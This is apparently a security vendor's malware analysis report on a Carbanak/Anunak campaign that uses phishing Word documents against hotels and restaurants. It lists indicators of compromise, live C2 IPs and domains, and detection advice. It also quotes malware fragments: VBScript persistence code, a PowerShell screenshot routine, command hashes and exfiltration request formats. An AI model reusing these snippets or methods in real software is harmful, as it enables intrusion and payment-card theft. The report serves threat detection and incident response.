hJ2Ey4Ki

1New Carbanak / Anunak Attack Methodology
2
3In the last month Trustwave was engaged by two separate hospitality clients, and one restaurant chain for investigations by an unknown attacker or attackers. The modus operandi for all three investigations were very similar and appear to be a new Carbanak gang attack methodology, focused on the hospitality industry. Carbanak is a prolific crime group, well known for stealing over one billion dollars from banks in 2015 (*Kaspersky estimated loss) and more recently orchestrating an attack on the Oracle Micros POS support site that put over one million Point of Sale systems at risk. The current investigations are still underway but the known indicators of compromise in these new attacks will be presented below. At the time of investigation this malware was not correctly detected by any existing antivirus engines, and domains / IP's were not found in any commercial threat intelligence feeds.
4
5It is also interesting to note that just during the time that it took to write this blog, Carbanak returned to their victims with significantly upgraded malware. This demonstrates the speed and versatility of this threat group. We have included analysis for two separate versions of AdobeUpdateManagementTool.vbs in this report. (The malware used following the initial infection) Version two arrived only two weeks after we began investigating this new campaign.
6
7Attack Vector
8
9The attacks began via social engineering. An attacker called the customer contact line saying that they were unable to use the online reservation system and requested to send their information to the agent via email. The attacker stayed on the line until the agent opened the attachment contained in the email and hung up when his attack was confirmed successful. The email attachment was a malicious Word Document that contained an encoded .VBS script capable of stealing system information, desktop screenshots, and to download additional malware.
10
11A screenshot of the malicious Word document is shown below. The malicious VB Script will use macros to search for instances of Microsoft Word running on the system, if found, it will clear the existing text and replace it with the following text.
12
131
14
15The victim system will then reach out to http://95.215.47.105 to retrieve additional malware called AdobeUpdateManagementTool.vbs.
16
17AdobeUpdateManagementTool.vbs - Indicators of compromise:
18
19File name: adobeupdatemanagementtool.vbs
20
21SHA-1 8d7c90a699b4055e9c7db4571588c765c1cf2358 (Version 1)
22SHA-1 a91416185d2565ce991fc2c0dd9591c71fd1f627 (Version 2)
23
24Creates folder: %temp%\WindowsUpdate
25Creates folder: %temp%\WindowsUpdate_\Dropebox
26Adds file to WindowsUpdate folder: vbs
27Adds persistence mechanism to the CURRENT_USER registry hive in the CurrentVersion\Run and CurrentVersion\RunOnce keys to autostart AdobeUpdateManagementTool.
28A scheduled task is created named SysChecks which calls the vbs
29A service is created named 'ADOBEUPDTOOL' which calls the AdobeUpdateManagementTool.vbs
30The malware drops a Shockwave Flash icon and disguises itself as such. 
312
32The malware contacts the following and may attempt to download doc:
33http://revital-travel.com/cssSiteteTemplates
34http://juste-travel.com/cssSiteteTemplates
35http://park-travels.com
36All domains resolve to the same IP address (192.99.14.211)
37http://95.215.46.249
38179.43.133.34
39
40The malware may report to the following command and Control Servers, depending on the version used in the attack:
41http://148.251.18.75
42http://95.215.46.221
43http://95.215.46.229
44http://95.215.46.234
45http://81.17.28.124
46This malware was capable of stealing significant system and network information. It was also used to download several other reconnaissance tools to map out the network. Downloaded tools have included Nmap, FreeRDP, NCat, NPing, and others. Two files of significance, el32.exe and el64.exe, are privilege escalation exploits for 32 and 64 bit architectures. Their hashes are as follows:
47
48el32.exe SHA1: 83D0964F06E5F53D882F759E4933A6511730E07B
49el64.exe SHA1: CF5B30E6ADA0D6EE7449D6BDE9986A35DF6F2986
50This malware was primarily responsible for the reconnaissance stage of the attack. However, it also downloaded additional malware that enables the next stage of the attack and could execute powershell scripts on command.
51
52Beaconing - AdobeUpdateManagementTool.vbs
53
54We have seen slightly different data beaconing methodologies over the different attacks, but the general approach has remained the same. Beaconing messages are sent out to 179.43.133.34 via standard HTTP GET requests every 5 minutes. Using this simple methodology allows the beaconing to hide very well within standard corporate network traffic. The content of the GET request is encoded with Base64 and secondarily encrypted with RC4. Trustwave has written a specialized decoder for this traffic and it can be obtained upon request.
55
56The innocuous nature of this traffic allows it to be stealthy in a corporate network, however, its uniformity of structure also allows analysts to identify it relatively quickly as well. Security staff can identify beaconing traffic using the following technique.
57
58The network packet times of the GET requests originating from a compromised host occur almost exactly every 300 seconds (5 minutes). No web content is ever returned from the GET request except for code 200 OK, as shown below. (**Please note that the name=value pairs have been snipped for confidentiality reasons):
59
60GET /{random_param_name}.jsp?qqksq=MTgzLTIyIDhBIDkwI …IDNFIDYwIDZCIDU4IEJFIDZCIENFIDY3&kfb4mz=MTgzLTIyIDhBIDkwIEV … IDBGIDUyIDZDIDhF&xzn8=MTgzLTIyIDhBIDkwIEVGID … DUyIDZDIDhF HTTP/1.1
61Connection: Keep-Alive
62Keep-Alive: 300
63Content-Type: application/x-www-form-urlencoded
64Accept: */*
65User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
66Charset: utf-8
67Host: 179.43.133.34
68
69HTTP/1.1 200 OK
70Date: Tue, 08 Nov 2016 20:12:05 GMT
71Server: Apache/2.2.22 (Debian)
72X-Powered-By: PHP/5.4.45-0+deb7u2
73Vary: Accept-Encoding
74Content-Length: 0
75Keep-Alive: timeout=5, max=100
76Connection: Keep-Alive
77Content-Type: text/html
78
79The purpose of the GET request, with nothing coming back except the 200 code, is to "phone home" so the attacker knows the compromised system is available for further exploitation. To locate these specific GET requests you can use the following regular expression as an initial filter:
80
81grep -E "GET /[a-z]{1,4}[a-z0-9]{1,6}\.jsp\?" log.txt
82
83Full analysis of this malware can be found later in this report.
84
85
86Second Stage – Carbanak / Anunak Malware:
87
88Filename: bf.exe
89SHA1: 3d00602c98776e2ea5d64a78fc622c4ff08708e3
90
91This malware executes a new iteration of svchost.exe and injects its malicious code into this running process. This hides the malware within the svchost.exe process. (*Warning- our analysis has shown that some antivirus firms incorrectly identify this file as ransomware.)
92
93It then drops a pseudo-randomly named configuration file into the %ProgramData%\Mozilla folder. This file's name is base64 encoded and based on the infected system's MAC code, so identifying it by name will be challenging. However, it does always have a .bin extension. Any recent file in this folder with a .bin extension may be suspect.
94
95It then searches Kaspersky antivirus processes and terminates them if running on the victim system.
96
97For persistency, it registers itself as a service with the following details:
98
99Service name: RpcSsSys (this name is random, may vary on different system)
100Path: "C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe"
101Display name: Emote Procedure Call (RPC)
102
103It then proceeds to download kldconfig.exe, kldconfig.plug, and runmem.wi.exe. These tools are all well-known Carbanak malware and variations of them were used in the banking intrusions that made them famous in 2015. Additionally, the decrypted string references "anunak_config" which is the encrypted configuration file that it downloads from its control server. The Anunak crime group is generally believed to be synonymous with Carbanak.
104
1053
106
107This malware is very multi-functional as it can enable remote desktop, steal local passwords, search user's email, target IFOBS banking systems (which Carbanak used so effectively in recent banking attacks), or install completely different remote desktop programs, such as VNC or AMMYY. Full details on this malware's functionality is included later in this report.
108
109Finally, this malware, like so many others, is designed to target credit card data by scraping memory on Point-of-Sale systems. This leaves little doubt as to its end goal on victim systems. The attacker uses social engineering to gain their foothold in the victim network, downloads reconnaissance tools to scan the network and move laterally into the card holder data environment, and then infects systems able to process card transactions.
110
111Exfiltration – bf.exe
112
113This malware provides the attacker remote command and control of the victim system via a multifunctional backdoor capability. It communicates via an encrypted tunnel on port 443 with the following IP addresses:
114
1155.45.179.173
11692.215.45.94
117These are also the destinations that stolen data will be exfiltrated to. This malware may steal credit card data, as well as screen captures, keylogger information, email addresses from the PST file, enable RDP or VNC sessions, or to obtain additional system information.
118
119All exfiltrated information is encrypted with base64+RC2 and sent via HTTP POST messages.
120
121If you identify any of these IoC's on your network, you should contact a Trustwave account representative immediately, or reach out directly to the Trustwave SpiderLabs IR team at our 24-hour hotline:
122
12324hr Hotline +1 (866) 659-9097 Option 5
124International: +1 (312) 873-7500, Option 4
125
126Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.Vbs (Version 1)
127
128Summary
129
130The file is OLE compound file format that contains an embedded .VBE (encoded VBS) script. The dropped script is capable of stealing system information, desktop screenshots and to download / execute additional malware.
131
132Analysis
133
134The encoded VBScript is embedded in OLE compound file.
135
1364
137
138When the malicious document file is opened, the embedded VBScript (VBE) file is dropped in the Windows %temp% folder.
139
140The Loader VBScript
141
142The dropped VBE file is a loader script that drops, installs and executes a second layer VBScript payload in the victim's system.
143
144It creates a folder named "WindowsUpdate_" in the Window's %temp% directory, If the folder already exists, it will create the folder in the parent directory where the script resides.
145
146SSCripTdir=sh.ExpanDEnvirOnmentStrings("%TMP%")+"\WindowsUpdate_" IF not fso.FoldErEXIstS(sScriptdiR)Then fso.CReatefOlder SScriptDir End IF Err.Clear If NoT fso.FolderExiSTs(SSCriptDir)THen sScriptDir=fso.GetParentFolderName(Wscript.ScriptFulLName)+"\WindowsUpdate_" If NoT fso.FOlderExiSts(SScriptDir)THen fso.CReAteFolder sscriptDir
147
148A registry key is created that points to the Loader's directory
149
150sh.RegWriTe"HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\LdrPath",sScriPtdIr,"REG_SZ"
151
152The second VBScript payload is embedded in the loader script as a Base64 string:
153
1545
155
156The loader script decodes the base64 string. This is then saved to a file named "AdobeUpdateManagementTool.vbs" into the "\WindowsUpdate_" folder.
157
158Dim run_Pth_scR run_pth_scr=ldrpath+"\AdobeUpdateManagementTool.vbs" dim RUn_Pth
159
160A persistence registry key is also created by the loader script: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool
161
162On ErrOr Resume NExt sh.RegWrIte"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool",run_pth,"REG_SZ" ErR_NUmBer=err.number If Err_nuMber<>0 Then cerr1.ErrAdd"Error #I-9",0 Err.ClEar End If On Error Resume next sh.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\AdobeUpdateManagementTool",ruN_ptH,"REG_SZ" Err_Number=eRr.number
163
164The loader script adds a scheduled task with a task named "SysChecks". The purpose of this scheduled task is to run the payload script (AdobeUpdateManagementTool.vbs) in every 5 minutes
165
166sh.Run"schtasks /create /tn ""SysChecks"" /tr """&run_pth&""" /sc minute /mo 5",0,falSe
167
168A SWF icon file is also dropped in the folder in order to disguise the dropped file as a Shockwave Flash file:
169
1702
171
172A shortcut file is also added in the Windows startup folder as "AdobeUpdateManagementTool.lnk"
173
174Set LinKSTart=sh.CreateShoRTcuT(SPath&"\AdobeUpdateManagementTool.lnk") With LinksTart LinksTart.ArGuMeNts=ruN_pth_scr .dEsCription="AdobeUpdateManagementTool" .HoTKeY="CTRL+X" .IconLocation=ico_Filename .TargEtPath=wscRipt_pThPaTH .WiNdoWStyle=7 .WorkinGdirectory=sh.ExpandEnvironmEntStrings("%windir%\System32") .SaVe
175
176The Payload Script
177
178The payload script is dropped in the "%temp%\WindowsUpdate_" as "AdobeUpdateManagementTool.vbs". The script uses obfuscation, a combination of base64 and integer-ed characters (chr) to hide malicious code.
179
180#Example of obfuscation: (F9lornwzv1("cnVuZGxsMzIga2U=") & "" & chr(29 + 85) & chr(81 + 29) & chr(-42 + 143) & chr(-76 + 184) & chr(-20 + 71) & chr(-51 + 101) & chr(67 + -23) & chr(70 + 13) & chr(-57 + 165) & chr(50 + 51) & chr(-67 + 168) & chr(53 + 59) & "")
181
182The payload script checks if the following folder exists otherwise it creates it: %AllUsersProfile% + "\Dropebox" + (for example in Windows 7 system: C:\ProgramData\DropeboxJoePC). This is where it stores additional script files and stolen data:
183
184dim EZ0uaqbfk9m: EZ0uaqbfk9m = EY4hrd8cuo.ExpandEnvironmentStrings("%USERNAME%") EZ0uaqbfk9m = DT6zmqx4fb( EZ0uaqbfk9m ) FA1pcr7i8c3z = ldrpath +" \Dropebox" + EZ0uaqbfk9m
185
186The payload has the following functionality:
187
188Steal system information
189
190System Name
191System Manufacturer
192System Model
193Time Zone
194Total Physical Memory
195Processor System Type
196Processor
197BIOS Version
198Networking information
199Computer name
200Domain
201User name
202Desktop screenshot
203
204A powershell script (filename: screenshot__.ps1) is created to screenshot victim's desktop.
205
206#Desktop screenshot routine, dropped as a powershell $ErrorActionPreference="stop"; try{ [Reflection.Assembly]::LoadWithPartialName("System.Drawing") function screenshot([Drawing.Rectangle]$bounds, $path){ $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose() } $ScriptDir = Split-Path $script:MyInvocation.MyCommand.Path $pth = $ScriptDir + "\screenshot__.png" $bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1500, 1000) screenshot $bounds $pth; }catch{}
207
208Downloaded malicious executable
209
210It may also be able to receive additional malware executables and install them on the victim's computer.
211
212Terminate Processes
213
214The payload is also capable of terminating processes.
215
216Network
217
218The malware sends stolen data to the following URI:
219
220urlArry(0) = "http://95.215.46.249" urlArry(1) = "http://revital-travel.com/cssSiteteTemplates" urlArry(2) = "http://juste-travel.com/cssSiteteTemplates"
221
222The data is sent as a data encrypted with RC4 and Base64 It is sent via an HTTP POST tunnel to the attacker's server.
223
224POST /{random_param_name}.jsp?xz2q=MjgtQUIgMTEgRDYgMEYgMTggNTYgNEUgRDQgODYgQTEgNUQgOTAgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzI=&hwhv50m=MjgtQUIgMTEgRDYgMEYgMDQgNDkgNzQgQkMgQUUgRkMgNUEgOTcgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzI=&cfcch9s=MjgtQUIgMTEgRDYgMEYgMUYgNTQgMTcgQkQgODIgODQgNTUgQzkgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzI= HTTP/1.1 Connection: Keep-Alive Keep-Alive: 300 Content-Type: multipart/form-data; boundary="eb3d0b5d91fbde4d7a58ef5b9c954051" Accept: */* Accept-Language: en-us User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset: utf-8 Content-Length: 7274 Host: 95.215.46.249
225
226Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.Vbs (Version 2)
227
228Summary
229
230This file is written in VBScript. It can receive commands from the attacker to download and execute EXE files, VBScript, or Powershell script files. Exfiltrated data is sent to the attacker's IP addresses through an HTTP POST tunnel
231
232Analysis
233
234Upon execution AdobeUpdateManagementTool.vbs will query the process in the infected system if it is already running, if an existing instance of the script is already running, it will quit, otherwise it will proceed.
235
236It then attempts to read the following registry key:
237
238HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC - Computer Count
239
240The script then generates a unique identifier, using the following format:
241
242%md_id% - %l_ver% - %ptrtr% - %compCount%where:
243%md_id% - XORed Computer name and MAC Address.
244%l_ver% - hard coded in the malware script e.g. Dim HH5hjs54j69a: HH5hjs54j69a = "1"
245%ptrtr% - hard coded in the malware script e.g Dim HI0cvexizqw: HI0cvexizqw = "2" 
246%compCount% - value from the registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC, default value is the string "NO"
247
248The malicious script checks if the following folder exists otherwise it creates it:
249
250%AllUsersProfile% + "\Dropebox" + 
251for example in Windows 7 system
252C:\ProgramData\DropeboxJoePC
253
254The following files will be dropped under this Folder, these files are only created if required by the command sent by the attacker:
255
256screenshot__.ps1 - a powershell script that takes screenshots of the active desktop
257screenshot__.png - the screenshot image
258exe__.exe - an executable file sent by the attacker
259vb__.vbs - a VBscript sent by the attacker
260ps1__.ps1 - a Powershell script sent by the attacker
261insatller.vbs - updater script sent by the attacker
262Every time this script is executed, it requests commands from the Attacker's control server using HTTP GET request.
263
264GET /{random_param_name}.jsp?pId==={unique ID %md_id%}<<$>>{MD5 hash of the current Date & Time} <- this is encrypted in RC4 with hardcoded key and Base64. The GET parameters may also be iterated up to 3 times. User-agent: Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content-Type: application/x-www-form-urlencoded
265
266The script receives three types of information from the GET request:
267
268id = the unique ID of the infected system (%md_id%)
269cmd = MD5 hash of the attacker's command
270cmduniq = contains a value that signifies that this command is unique
271The commands sent by the attackers are in MD5 hash, this is a anti-analysis technique. Here are the command hashes that the attacker may send:
272
273COMMAND
274
275HASH (MD5)
276
277DESCRIPTION
278
279info
280
281caf9b6b99962bf5c2264824231d7a40c
282
283Retrieves system information. See below for the detailed information and exfiltration method.
284
285proc
286
2876844acdce7e192c21c184914d73ab6be
288
289Retrieves all running process.
290
291scrin
292
293e3b523c3cf36e1e0f64fec6ac6ac3ff7
294
295Takes screenshot of desktop. This command drops and executes the file screenshot__ps1 and the image is saved to screenshot__.png. The image is then sent to the control server IP address via an HTTP POST tunnel
296
297exe
298
29998e83379d45538379c2ac4e47c3be81d
300
301The attacker sends this command with an accompanying executable file that is saved to a file called exe__.exe. This is then executed and after 10 seconds this file will be deleted.
302
303vbs
304
305b3720bcc7c681c1356f77ba9761fc022
306
307The attacker sends this command with an accompanying VBScript that is saved as vb__.vbs. The script is executed and the result returned by the script is saved to a temporary file in the Windows %temp% folder. The results are sent to the control server through an HTTP POST tunnel (see exfiltration detail below). Both resulting files are deleted after the execution.
308
309Note: the results are encoded in Base64 with the following text format: type: vbs time: {currrent time} result: {result details}
310
311update
312
3133ac340832f29c11538fbe2d6f75e8bcc
314
315This command receives an accompanying VBScript updater. This script is saved to insatller.vbs and then executed, it then uninstalls its old version. The file is deleted 10 seconds after execution.
316
317ps1
318
3199ffb800e76372160cbb02415dccd7dec
320
321the attacker sends this command with an accompanying Powershell script that is saved to ps1__.ps. The script is executed and the result is returned by the script and is saved to a temporary file in the Windows %temp% folder. The result is sent to the control server through HTTP POST tunnel (see exfiltration detail below). Both files are deleted after the execution.
322
323Note: the results are encoded in Base64 with the following text format: type: ps1 time: {currrent time} result: {result details}
324
325dll
326
32706416233fe5ec4c5933122e4ab248af1
328
329This command did not function in this version of the malware.
330
331delete
332
333099af53f601532dbd31e0ea99ffdeb64
334
335Removes the service running this script by running this command "cmd.exe /c ""sc delete %ADOBEUPDTOOL%". (This Service was installed by the dropper of this script.). It then deletes this script.
336
337scrrunr
338
339cbd22ed4f5cd88afcfeae0cfc80ed482
340
341Not actually a command, but somewhat an indicator that will be sent to the control server each time a script is executed.
342
343
344The malware checks for the following registry key if the command has the same cmduniq value. If it is the same, it terminates the script, otherwise it writes the cmdunig value to this registry key:
345
346HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\c_last
347
348Following is the System information sent to the control server when the command "INFO" is received from the attacker.
349
350OS Name
351Version
352Service Pack
353OS Manufacturer
354Windows Directory
355Locale
356Available Physical Memory
357Total Virtual Memory
358Available Virtual Memory
359System Name
360System Manufacturer
361System Model
362Time Zone
363Total Physical Memory
364Processor System Type
365Processor
366BIOS Version
367Computer name
368Domain
369User name
370This system information is also stored in this registry key:
371
372HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CLM
373
374The result data is exfiltrated after each attackers command is executed. This is sent as a HTTP POST request to the control server.
375
376POST /{random_name}.jsp?pId==={unique ID %md_id%}<<$>>{MD5 hash of Date & Time Now} <- this is encrypted in RC4 with hardcoded key and Base64. The POST parameters may also be iterated up to 3 times. User-agent: Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content-Type: "multipart/form-data; boundary="{Random MD5 hash}"
377
378The HTTP POST uses the body format below:
379
380--{random MD5 hash}
381Content-Disposition: form-data; name="{random name}" 
382{unique ID and current Date/Time Hash - encrypted with RC4 and Base64}
383--{random MD5 hash}
384Content-Disposition: form-data; name="{random name}" 
385pPar1c==={unique ID encrypted with RC4 and Base64}
386--{random MD5 hash}
387Content-Disposition: form-data; name="{random name}" 
388pPar2c==={command's MD5 Hash encypted with RC4 and Base64}
389--{random MD5 hash}
390Content-Disposition: form-data; name="{random name}" 
391pPar3c==={Results/Data/StolenInformation encypted with RC4 and Base64}
392
393After executing the command and exfiltrating the data, the malware sleeps for 3- 5 minutes (depending on the configuration hard-coded in the script) then loops to request the command again.
394
395Network
396
397Command and Control Servers:
398
399http://148.251.18.75
400http://95.215.46.221
401http://95.215.46.229
402http://95.215.46.234
403http://81.17.28.124
404Detailed Analysis of Carbanak Malware: bf.exe
405
406File Info
407
408Filename: bf.exe
409Size: 267216
410Filetype: PE32 executable (GUI) Intel 80386, for MS Windows
411Compile Date: 2016-03-01 08:50:54
412Sha1 Hash: 3d00602c98776e2ea5d64a78fc622c4ff08708e3
413MD5 Hash: c7b224d95fc96094afd2678cae753dcb
414Summary
415
416The file is a variant of Anunak/Carbanak malware. It provides functions from gathering information about the system to downloading and executing additional malware.
417
418Analysis:
419
420Malware Installation
421
422This malware unpacks its main executable in memory and executes it.
423
424It then drops a config file in the %appdata%\Mozilla folder as well as copy of itself with the filename "svchost.exe". The config filename is a base64 string comprising of a unique string and the MAC address of the infected system.
425
426For example V14UDFcJZ1FfXQIIVA== to V14UDFcJZ1FfXQIIVA.bin.
427
428It then spawns a new svchost.exe process with the command: "C:\WINDOWS\system32\svchost.exe -k netsvcs" and then injects its code to that process. After process injection, the main malware executable terminates.
429
430In this example the Mutex named "V14UDFcJZ1FfXQIIVA" is then created.
431
432For persistency, it registers itself as a service with the following details:
433
434Service name: RpcSsSys (this name is random, may vary on different systems)
435Path: "C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe"
436Display name: Emote Procedure Call (RPC)
437
438Anti-reversing
439
440The malware checks for the "isDebugged" flag in the PEB (Process Environment Block). It also checks for significant delay of code execution by utilizing the GetTickCount() function. Delay in code execution means the process is being debugged.
441
442Strings are heavily obfuscated to avoid static string analysis. The malware has a decoder table loaded in memory that is used for its lookup algorithm. All strings are deobfuscated on-the-fly.
443
444decodertable = "\x00\x12\x1C\x13\x0A\x0D\x14\x07\x15\x0C\x16\x09\x05\x03\x17\x1D\x1A\x10\x1F \x0E\x08\x06\x11\x04\x1E\x19\x0B\x1B\x01\x02\x0F\x18\x20\x21\x42\x5E\x24\x25\x26\x4A\x28\x29\x6A\x6B \x2C\x2D\x53\x22\x30\x31\x7F\x4E\x34\x35\x4B\x5A\x38\x39\x7A\x7B\x3C\x3D\x43\x5F\x40\x41\x62\x63\x44 \x45\x46\x27\x48\x49\x47\x2B\x4C\x4D\x73\x4F\x50\x51\x52\x2E\x54\x55\x56\x57\x58\x59\x3A\x5B\x5C\x5D \x7E\x72\x60\x61\x2F\x23\x64\x65\x66\x2A\x68\x69\x67\x36\x6C\x6D\x33\x6F\x70\x71\x3F\x6E\x74\x75\x76 \x77\x78\x79\x37\x3B\x7C\x7D\x3E\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
445
446A sample code snippet of the Decoder:
447
4486
449
450An API Hashing technique is also utilized by the malware in order to hide relevant API functions it uses in its code. Rather than storing imported API names in the body, the malware author has pre-calculated the CRC hash of the API function. On runtime, all the malware does is to look-up the equivalent API name from its generated hash table.
451
452Antivirus retaliation
453
454Specific Kaspersky antivirus processes are terminated:
455
456avp.exe
457avpui.exe
4587
459
460Escalation of Privilege
461
462The malware checks the system OS:
463
464Windows 8.1
465Windows 8
466Windows 7 SP1
467Windows Vista SP2
468Windows RT 8.1
469Windows RT
470Windows XP SP1
471Windows XP SP2
472Windows XP SP3
473Windows Server 2012
474Windows Server 2012 R2
475Windows Server 2008 SP2
476Windows Server 2008 R2 SP1
477Windows Server 2003 SP2
478If found, it attempts to exploit a vulnerability in "win32k.sys" identified as CVE-2013-3660 to escalate the privilege of the malware process.
479
4808
481
482Obtaining the Proxy Settings
483
484The malware gets the proxy setting from the Internet Explorer registry key:
485
486HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer
487
488It also gets the proxy setting stored in Mozilla's prefs.js file.
489
4909
491
492The attacker however can push its own custom proxy settings to the malware.
493
494Enabling Remote Desktop
495
496The malware enables the Remote Desktop by starting the Termservice service. It also sets the service to auto-mode so that the service will start on Windows startup.
497
498It also enables the following Terminal Server registry key:
499
500HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
501
502fDenyTSConnection
503EnableConcurrentSessions
504AllowMultipleTSSession
505POS Malware
506
507Before the main POS routine, the malware searches data from the log file named "nsb.pos.client.log" and C:\NSB\Coalition\Log
508
50910
510
511It then enumerates the processes listed in a config file (klgconfig.plug) pulled from the control server. From here it scrapes the process memory heap for credit card data, specifically the Track 1. After collecting the card data, it creates a file where it stores the information.
512
513This is the code snippet where it saves the data to an XML file:
514
51511
516
517Outlook Items
518
519The malware also targets victim's email data by scrounging the victim's Outlook PST files for contact's email addresses, possibly to be used for further spear-phishing attacks from known individuals.
520
52112
522
523Local Password Stealer
524
525The malware utilizes the open source project called Mimikatz and reused codes from this project to steal clear text local passwords from Lsass memory dump.
526
52713
528
529Plugins
530
531ifobs.pl- the malware reused code from the Carperp ifobs module to target a banking application called iFOBS. This is a very popular banking platform in Russia and Eastern Europe and this malware can be used to compromise IFOBS banking systems. When using this module, the malware hooks the following libraries:
532{ "VistaDB_D7.bpl", "HProc2", 0xA9782FE7, "OpenDatabaseConnection" }, { "RtlData1.bpl", "HProc3", 0x1678D314, "TaskAfterSynchRun" }, { "vcl70.bpl", "HProc4", 0x8D55F8B4, "TCustomFormShow" }, { "vcl70.bpl", "HProc5", 0x3DF02899, "TCustomFormCloseQuery" }, { "RtlStore.bpl", "HProc6", 0xCF6CD66, "GlobalAppStorage" }, { "RtlData1.bpl", "HProc7", 0xAFD2F1E2, "FillDataToDBCache" },
533
534ammyy.pl- this enables the malware to run AMMYY remote desktop control software
535vnc.pl- this enables the malware to run a remote desktop VNC application
536Backdoor Commands
537
538The attacker can also send backdoor commands. In the malware code, a command hash table is used to compare commands (in readable strings) sent by the attacker, the hash of this command string is calculated by the malware. If the hash of the string matches any hash in the table, it executes the corresponding action.
539
540The image below is the command and it's corresponding hash (in green font)
541
54214
543
54415
545
546Network
547
548It connects to a hardcoded IP address: 5.45.179.173 or 95.215.45.94 through an encrypted tunnel at port 443.
549
550Compiler/Artifacts
551
552The following sections describe artifacts found in the file
553
554Malware Version Info
555
556legalcopyright: Blattering
557internalname: Soulfulness
558companyname: Maidish Leveraged
559legaltrademarks: Bobcats Kinsman
560filedescription: Sanger
561originalfilename: Adoptable Nightjars
562Conclusion
563
564In many ways, this attack follows a very common series of events:
565
566Social engineering / phishing used to gain initial network foothold
567Cleverly disguised malware establishes remote control of victim system and downloads additional tools
568Attacker conducts reconnaissance to scan network, expand foothold, and identify high-value targets
569Payment card information and/or PII (personally identifiable information) is captured and exfiltated back to the attacker.
570However, the persistence, professionalism, and pervasiveness of this campaign is at a level rarely seen by Trustwave. The malware used is very multifaceted and still not caught by most (if any) antivirus engines. The social engineering is highly targeted, conducted via direct phone calls by threat actors with excellent English skills. The network reconnaissance and lateral movement is rapid and highly effective. Finally, the data exfiltration methodology is stealthy and efficient.
571
572Carbanak is one of the most sophisticated threat actors in the cybercrime realm today and this report details a very active campaign currently being leveraged against hospitality and restaurant industries (and probably others). We encourage everyone to search their network for the IOC's described in this report and to contact Trustwave immediately if any are found.